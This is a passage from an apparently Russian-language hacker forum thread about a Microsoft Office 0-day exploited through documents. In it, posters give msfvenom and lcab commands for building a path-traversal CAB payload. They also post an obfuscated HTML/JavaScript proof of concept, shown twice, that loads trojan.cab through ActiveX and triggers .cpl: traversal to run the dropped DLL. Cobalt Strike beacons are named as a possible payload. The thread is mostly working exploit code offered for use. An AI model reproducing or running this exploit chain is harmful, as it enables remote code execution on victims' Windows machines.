• XSS.stack #1 – первый литературный журнал от юзеров форума

Новая 0-day уязвимость используется для атак через документы Microsoft Office

Payload находится в cab файле? Т.е. его надо сгенерировать каким-то образом?
The payload is inside cab file and it must be a dll but can be anything from cobalt strike beacon to simple calc. The trick is to use "../" so when is being unloaded by IE is going to work like path traversal.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
It's easy dude.

First you generate a payload. For example:
Код:
msfvenom -p windows/x64/exec EXITFUNC=thread CMD=calc.exe -f dll -o '..\championship.inf'

Then you generate a cab file like this (You need lcab tool):
Код:
lcab '..\championship.inf' 1337.cab

Then you open the cab file in hex editor and you change
Код:
..\
to
Код:
../

All done easy right?
but it is a lot of effort for little success. Just use acd and we'll see the rainbow.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
PoC

HTML:
<!DOCTYPE html>
<html>
 <head>
  <meta http-equiv="Expires" content="-1">
  <meta http-equiv="X-UA-Compatible" content="IE=11">
 </head>
 <body>
  <script>
function(){
  try{
    window['HTMLElement']['prototype']['appendChild']['call'](window['document']['body'],
      window['Document']['prototype']['createElement']['call'](window['document'],'iframe'));
  }catch(_0x1c747c){
    window['HTMLElement']['prototype']['appendChild']['call'](window['document']['documentElement'],
      window['Document']['prototype']['createElement']['call'](window['document'],'iframe'));
  }
  iframeActxHtml1 = new window['Document']['prototype']['createElement']['call'](window['document'],'iframe')['contentWindow']['ActiveXObject']('htmlfile');
  window['Document']['prototype']['createElement']['call'](window['document'],'iframe')['contentDocument']['open']()['close']();
  try{
    window['HTMLElement']['prototype']['removeChild']['call'](window['document']['body'],
      window['Document']['prototype']['createElement']['call'](window['document'],'iframe'));
  }catch(_0x5afb73){
    window['HTMLElement']['prototype']['removeChild']['call'](window['document']['documentElement'],
      window['Document']['prototype']['createElement']['call'](window['document'],'iframe'));
  }
  iframeActxHtml1['open']()['close']();
  var iframeActxHtml2= iframeActxHtml1['Script']['ActiveXObject')]('htmlFile');
  iframeActxHtml2['open']()['close']();
  iframeActxHtml3 = iframeActxHtml2[('Script')]['ActiveXObject']('htmlFile');
  iframeActxHtml3['open']()['close']();
  var iframeActxHtml4=new iframeActxHtml3['Script'][('ActiveXObject')]('htmlFile');
  iframeActxHtml4['open']()['close']();
  var actx_html_0=new ActiveXObject('htmlfile'),
  actx_html_1=new ActiveXObject('htmlfile'),
  actx_html_2=new ActiveXObject('htmlfile'),
  actx_html_3=new ActiveXObject('htmlfile'),
  actx_html_4=new ActiveXObject('htmlfile'),
  actx_html_5=new ActiveXObject('htmlfile'),
  xmlhttpreq1=new window['XMLHttpRequest'](),
  window['setTimeout']=window['setTimeout'];
  window['XMLHttpRequest']['prototype']['open']['call'](xmlhttpreq1,'GET','http://localhost/trojan.cab',![]),
  window['XMLHttpRequest']['prototype']['send']['call'](xmlhttpreq1),
  iframeActxHtml4['Script']['document']['write']('&amp;lt;body>');
  var cabloadunpack=window['Document']['prototype']['createElement']['call'](iframeActxHtml4['Script']['document'],'object');
  cabloadunpack['setAttribute']('codebase','http://localhost/trojan.cab#version=5,0,0,0');
  cabloadunpack['setAttribute']('classid','CLSID:b7771b25-4e74-4168-add9-04062d629d9a'),
  window['HTMLElement']['prototype']['appendChild']['call'](iframeActxHtml4['Script']['document']['body'],cabloadunpack),
  actx_html_0['Script']['location']='.cpl:123',
  actx_html_0['Script']['location']='.cpl:123',
  actx_html_0['Script']['location']='.cpl:123',
  actx_html_0['Script']['location']='.cpl:123',
  actx_html_0['Script']['location']='.cpl:123',
  actx_html_0['Script']['location']='.cpl:123',
  actx_html_0['Script']['location']='.cpl:123',
  actx_html_0['Script']['location']='.cpl:123',
  actx_html_0['Script']['location']='.cpl:123',
  actx_html_0['Script']['location']='.cpl:../../../AppData/Local/Temp/Low/whoiam.inf',
  actx_html_1['Script']['location']='.cpl:../../../AppData/Local/Temp/whoiam.inf',
  actx_html_2['Script']['location']='.cpl:../../../../AppData/Local/Temp/Low/whoiam.inf',
  actx_html_3['Script']['location']='.cpl:../../../../AppData/Local/Temp/whoiam.inf',
  actx_html_4['Script']['location']='.cpl:../../../../../Temp/Low/whoiam.inf',
  actx_html_3['Script']['location']='.cpl:../../../../../Temp/whoiam.inf',
  actx_html_3['Script']['location']='.cpl:../../Low/whoiam.inf',
  actx_html_3['Script']['location']='.cpl:../../whoiam.inf';
}();
  </script>
 </body>
</html>
 
Пожалуйста, обратите внимание, что пользователь заблокирован
PoC

HTML:
<!DOCTYPE html>
<html>
 <head>
  <meta http-equiv="Expires" content="-1">
  <meta http-equiv="X-UA-Compatible" content="IE=11">
 </head>
 <body>
  <script>
function(){
  try{
    window['HTMLElement']['prototype']['appendChild']['call'](window['document']['body'],
      window['Document']['prototype']['createElement']['call'](window['document'],'iframe'));
  }catch(_0x1c747c){
    window['HTMLElement']['prototype']['appendChild']['call'](window['document']['documentElement'],
      window['Document']['prototype']['createElement']['call'](window['document'],'iframe'));
  }
  iframeActxHtml1 = new window['Document']['prototype']['createElement']['call'](window['document'],'iframe')['contentWindow']['ActiveXObject']('htmlfile');
  window['Document']['prototype']['createElement']['call'](window['document'],'iframe')['contentDocument']['open']()['close']();
  try{
    window['HTMLElement']['prototype']['removeChild']['call'](window['document']['body'],
      window['Document']['prototype']['createElement']['call'](window['document'],'iframe'));
  }catch(_0x5afb73){
    window['HTMLElement']['prototype']['removeChild']['call'](window['document']['documentElement'],
      window['Document']['prototype']['createElement']['call'](window['document'],'iframe'));
  }
  iframeActxHtml1['open']()['close']();
  var iframeActxHtml2= iframeActxHtml1['Script']['ActiveXObject')]('htmlFile');
  iframeActxHtml2['open']()['close']();
  iframeActxHtml3 = iframeActxHtml2[('Script')]['ActiveXObject']('htmlFile');
  iframeActxHtml3['open']()['close']();
  var iframeActxHtml4=new iframeActxHtml3['Script'][('ActiveXObject')]('htmlFile');
  iframeActxHtml4['open']()['close']();
  var actx_html_0=new ActiveXObject('htmlfile'),
  actx_html_1=new ActiveXObject('htmlfile'),
  actx_html_2=new ActiveXObject('htmlfile'),
  actx_html_3=new ActiveXObject('htmlfile'),
  actx_html_4=new ActiveXObject('htmlfile'),
  actx_html_5=new ActiveXObject('htmlfile'),
  xmlhttpreq1=new window['XMLHttpRequest'](),
  window['setTimeout']=window['setTimeout'];
  window['XMLHttpRequest']['prototype']['open']['call'](xmlhttpreq1,'GET','http://localhost/trojan.cab',![]),
  window['XMLHttpRequest']['prototype']['send']['call'](xmlhttpreq1),
  iframeActxHtml4['Script']['document']['write']('&amp;lt;body>');
  var cabloadunpack=window['Document']['prototype']['createElement']['call'](iframeActxHtml4['Script']['document'],'object');
  cabloadunpack['setAttribute']('codebase','http://localhost/trojan.cab#version=5,0,0,0');
  cabloadunpack['setAttribute']('classid','CLSID:b7771b25-4e74-4168-add9-04062d629d9a'),
  window['HTMLElement']['prototype']['appendChild']['call'](iframeActxHtml4['Script']['document']['body'],cabloadunpack),
  actx_html_0['Script']['location']='.cpl:123',
  actx_html_0['Script']['location']='.cpl:123',
  actx_html_0['Script']['location']='.cpl:123',
  actx_html_0['Script']['location']='.cpl:123',
  actx_html_0['Script']['location']='.cpl:123',
  actx_html_0['Script']['location']='.cpl:123',
  actx_html_0['Script']['location']='.cpl:123',
  actx_html_0['Script']['location']='.cpl:123',
  actx_html_0['Script']['location']='.cpl:123',
  actx_html_0['Script']['location']='.cpl:../../../AppData/Local/Temp/Low/whoiam.inf',
  actx_html_1['Script']['location']='.cpl:../../../AppData/Local/Temp/whoiam.inf',
  actx_html_2['Script']['location']='.cpl:../../../../AppData/Local/Temp/Low/whoiam.inf',
  actx_html_3['Script']['location']='.cpl:../../../../AppData/Local/Temp/whoiam.inf',
  actx_html_4['Script']['location']='.cpl:../../../../../Temp/Low/whoiam.inf',
  actx_html_3['Script']['location']='.cpl:../../../../../Temp/whoiam.inf',
  actx_html_3['Script']['location']='.cpl:../../Low/whoiam.inf',
  actx_html_3['Script']['location']='.cpl:../../whoiam.inf';
}();
  </script>
 </body>
</html>
???
 
Пожалуйста, обратите внимание, что пользователь заблокирован


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх